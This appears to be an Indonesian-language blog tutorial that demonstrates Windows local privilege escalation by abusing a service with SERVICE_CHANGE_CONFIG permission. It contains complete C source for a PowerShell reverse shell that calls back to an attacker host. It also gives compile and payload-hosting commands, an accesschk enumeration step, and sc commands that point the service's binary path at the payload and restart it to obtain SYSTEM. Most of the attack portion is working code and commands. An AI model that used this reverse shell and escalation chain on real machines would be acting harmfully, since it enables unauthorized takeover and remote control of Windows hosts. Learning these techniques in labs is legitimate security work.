WinPE: Insecure Service Permissions (Service Abuse)

Pada kesempatan kali ini, kita akan mendemokan salah satu serangan Local Privilege Escalation pada Windows System. Skenario ini dapat dilakukan ketika ada sebuah Service yang diberikan “Permission” berlebih, sehingga pengguna biasa (low user) dapat melakukan konfigurasi ulang pada Service tersebut.

Kalian bisa bayangkan apa jadinya jika ada User yang dapat mengubah arah BINARY PATH pada Local Service di Windows?

Cover

Hal ini bisa terjadi karena terdapat miskonfigurasi pada Service, yang di mana izin SERVICE_CHANGE_CONFIG itu diterapkan pada User yang bukan seharusnya.

Preparation

Sebelum dilanjutkan, kita perlu menyiapkan terkait:

  1. accesschk.exe
  2. exploit.exe

Untuk Tool accesschk.exe kita bisa mengunduhnya secara resmi melalui link microsoft.com.

Dan untuk exploit.exe-nya itu dapat kita Compile secara mandiri (tanpa harus menggunakan msfvenom) dengan cara mengikuti langkah-langkah di bawah ini.

reverse-shell.c

#include <windows.h>
#include <stdio.h>

int main(){ 
    system("powershell.exe -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('<attacker host>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
    return 0; 
}

Note: Ubah bagian <attacker host>.

Compile

Setelah script di atas sudah dipersiapkan, maka kita lakukan kompilasi dari kode C menjadi sebuah file .exe.

x86_64-w64-mingw32-gcc reverse-shell.c -o exploit.exe

Reverse Shell Compile

Additional Note

Sebagai catatan, di sini saya memindahkan file exploit.exe menggunakan HTTP Web Server di sisi Linux agar dapat dipanggil melalui mesin target (Windows).

python3 -m http.server 8000

Download exploit.exe via Browser

Proof of Concept

Enumeration

Pertama-tama kita dapat gunakan Tool accesschk.exe untuk melihat Service mana saja yang dapat dimodifikasi oleh User yang sedang kita gunakan.

.\accesschk.exe /accepteula -uwcv %username% *

accesschk.exe

Dari output accesschk.exe ini, kita mendapatkan sebuah Service yang bernama daclsvc, yang perlu kita perhatikan di sini yaitu Attribute RW dan Attribute SERVICE_CHANGE_CONFIG. Dari hasil ini dapat disimpulkan bahwa kita (sebagai low user) memiliki izin untuk mengubah konfigurasi Service-nya.

Exploit

Setelah kita mengetahui User yang sedang kita gunakan itu mempunyai izin SERVICE_CHANGE_CONFIG, maka hal yang akan kita lakukan selanjutnya yaitu memodifikasi binpath untuk memasukkan exploit.exe ke dalam konfigurasi Service-nya.

sc config "<service name>" binpath="C:\<exploit file>"

sc config change binpath

Kalau konfigurasinya berhasil kita ubah, maka kita akan mendapatkan sebuah pesan ChangeServiceConfig SUCCESS.

Persiapkan Listener pada Attacker Host terlebih dahulu untuk menangkap koneksi Reverse Shell-nya.

Jika sudah, kita hanya perlu restart Service-nya saja, dengan cara memberhentikannya dan memulainya kembali.

sc stop "<service name>"
sc start "<service name>"

sc stop and start

user system obtained

# this post has been modified at 2024-03-04